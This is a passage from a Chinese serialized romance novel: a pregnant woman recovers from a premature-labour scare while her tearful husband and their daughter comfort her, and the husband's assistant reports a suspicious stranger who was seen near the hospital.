在岛上的时候,她就险些流产。 江遇内心泛起内疚来,如果不是他这么折腾着把她带去国外的岛上,她的身子骨确实不应该这么弱。 柚子骂得对! 保姆车上,周自衡趴在林听的面前,脸颊落下来,轻轻地挨了挨林听的脸颊,“老婆,我们的小唯一没事,你不要担心了。不过这几天你需要绝对卧床休息,要辛苦你了。” 有凉凉的液体落下来,滴在林听的脸颊上。 她推开周自衡一看,这个男人竟然哭了,“周自衡,我真的不辛苦,你不用这么内疚。” 周自衡握紧她的手,喉咙发紧,眼眶通红,“早知道怀孕这么辛苦,我就不该让你再生孩子。我们带着柚子一起生活,也挺好的。” 柚子小嘴一遍,内疚道,“是啊,妈妈,早知道要你这么疼,我就不该吵着要弟弟妹妹的。妈妈,对不起!” “你们俩还真不愧是一对父女呀,哭也一起哭,医生不是说我没事了吗。放心啦,我不怕辛苦。再说了,生孩子真没那么疼。有你们陪着,我还可以再生两个三个,都没问题的。” “不生了,我们不生了。”周自衡把林听的手,紧贴在脸颊上。 第204章 苦命鸳鸯啊 那泪水是滚烫的! 周自衡的双眼向来只有铁血刚毅的力量,与生来的冰冷,林听却没有想到他一个大男人会因为她肚子痛了一下假性早产,而如此担忧痛哭。 泪水从周自衡双眼里落下来,滑过他挺拔性感的鼻梁,又滴在林听的脸颊上,一滴,一滴,又一滴,每一滴又落进了林听的心窝子里。 她记得曾经她和江遇谈恋爱的时候,江遇说过,如果她怀了宝宝,他一定会好好照顾她,让她当这个世界上最幸福最有安全感的孕妇,一定会陪她整个孕期,陪她生产,陪她坐月子,陪她和孩子一起成长。 可是后来她怀孕了,拿着孕检单去找江遇的时候,江遇不相信那是他的孩子,不知道哪来的证据表明她和周自衡勾结上床偷走了林江医药的研发机密,江遇信了那些狗屁证据,就是不信她肚子里怀的孩子是他的。他和林建国林振宇把她送进了监狱,她的整个孕期别说有人陪了,连基本的营养也跟不上,生柚子时有多艰难,只有她自己一个人尝那苦果。 到现在,见到周自衡这般在意自己,她才真正明白,什么样的男人才是真正的爱她。 眼前的男人让她眼眶红了起来,可她俏皮一笑地擦掉周自衡的泪水,“周自衡,那可不行,你家大业大的,怎么能只要一个孩子呢。况且我喜欢热闹,柚子也喜欢热闹,我们都喜欢热闹,我得多给你生几个孩子。生孩子真的不辛苦的,你别把我想得那么娇情。再说了,哪个女人不生孩子呀。” “谁告诉你,女人就必须生孩子。”周自衡紧握着她的手,擦掉他掉在她脸颊上的泪水。 拂着她耳畔边的碎发时,他又补充,“上天造人的时候,就该反过来,让男人怀孕生孩子。这么辛苦的事情,就应该由男人来承受。每个生孩子的女人,都很伟大。” 周自衡是发自肺腑的心疼。 家里现在有三个女孩子,林听,柚子,还有林听肚子里的小唯一。看到林听怀孕这般受罪,以后小柚子和小唯一都会结婚生子,周自衡从现在开始就无比担忧起两个女儿的生育风险。 柚子在旁边和周自衡一唱一和,“妈妈,爸爸说得对,你把小唯一生下来了以后,就不要生宝宝了吧。我有唯一就够了,不用再给我生弟弟妹妹啦,我只要妈妈平平安安的。” 林听摸了摸柚子的脑袋,呼吸着车厢里的空气。 好鲜甜! “周自衡,你这辆保姆车放了什么空气清新剂,又香又甜。” “和平时一样。” “怎么可能,我怎么觉得今天的空气格外的甜。” 柚子笑道,“那是因为妈妈心情好。” 林听修长的手指,落在柚子的粉粉的鼻尖上,轻轻点了点,“对,妈妈心情好!” …… 回到君悦府,洛高单独和周自衡站在别墅的花园里。 园子里种满了林听最喜欢的洋桔梗,其中最多的是紫色洋桔梗,林听被要求要绝对卧床休息至少三天,刚回到家她便躺在卧室的床上。 窗户的落地窗帘是全自动的,她一声声控下达指令,浅色的窗帘缓缓朝两边敞开,明亮的玻璃窗外面,一片明媚的洋桔梗随风舞动。 同样的洋桔梗,周自衡种的,便看着让人赏心悦目,哪怕躺在床上不能动,心情也是美美的。 可是在国外的时候,依然是一样的洋桔梗品种,有江遇在的地方,那洋桔梗便怎么看,怎么丑。 不知道随风摆动的洋桔梗前,周自衡和洛高在说着什么,只见夕阳的余晖中,周自衡眉心轻拧。 “洛高跟他说了什么?” 夕阳的余晖明明金灿灿的,落在周自衡的身上,却像是染着某种沉甸甸的忧伤。 林听躺在床上透过落地玻璃窗,一直看着周自衡,她默默地数了数,周自衡眉间拧起的愁大约持续了两分钟半,那川字形的眉心依然没有松缓。 周自衡今天是怎么了? 窗外,周自衡朝楼上的客户看了一眼。 这个角度,只能看到林听躺在床上,明明只是一个很平常的目光,却像是有粘性一样一直粘在床上的林听身上。 那一眼,让他眉心的一筹莫展,更加加深。 初夏的风轻轻拂过身边,带着一股燥意,压得周自衡的胸口沉甸甸的,轻缓的风声中,只有他沉沉的叹息声。 空气里的气氛像要凝结成冰。 连洛高也觉得胸口窒息,“你要不要告诉太太,我觉得太太有权利知道这件事情,否则……” 周自衡比了一个打住的手势,“不要告诉她,让她安安稳稳生完孩子。” “可是……”洛高想起上中学那一年,母亲病了,家境贫困的他走投无路,跪在医院外的路口,希望能有好心人帮帮他们。 但是人来人往,那些人或许会为他们停留,可是看他的目光却像是看骗子一样,就算有人捐钱,也只是五块,十块,相对于妈妈几十万的手术费,根本没有任何作用,但他感激每个捐钱的人,在小本本上写下每个人的联系方式,到现在他都把那个小本本一直留着。 他就那样跪了三个月,亲戚朋友不愿再借钱给他,他一个学生走投无路,绝望之中,是周自衡的出现,救了他,救了妈妈。 后来洛高才知道,周自衡虽然是周才昆的儿子,可是他救他的时候,他身上只有几块钱,那笔钱是他去贷款借来的。 人人都说周自衡心狠手辣,却没人知道他温情善良的一面,这样善良的人,怎么会如此命运多舛。 “家主,可是,你刚刚和心爱的人在一起啊,命运对你太不公平了。” 周自衡沉重的双肩重新挺起来,抬手,拍了拍洛高的肩头,“别让太太看到你流过眼泪。” 洛高擦着眼泪,点点头——太太和家主,真是一对苦命鸳鸯。 “对了,家主。之前杰西一直有在暗中保护太太,都是她亲自盯着,但是这几日,他只留了人,却没有亲力亲为。更奇怪的是,我今天看见他和一个杵拐杖的男人,一起鬼鬼祟祟的,杰西看到我,一转眼就看不到人影了。那个杵拐杖的男人,太太在产检室呆了多久,他也在产检室外呆了多久。” “你去把医院的监控搞到手。”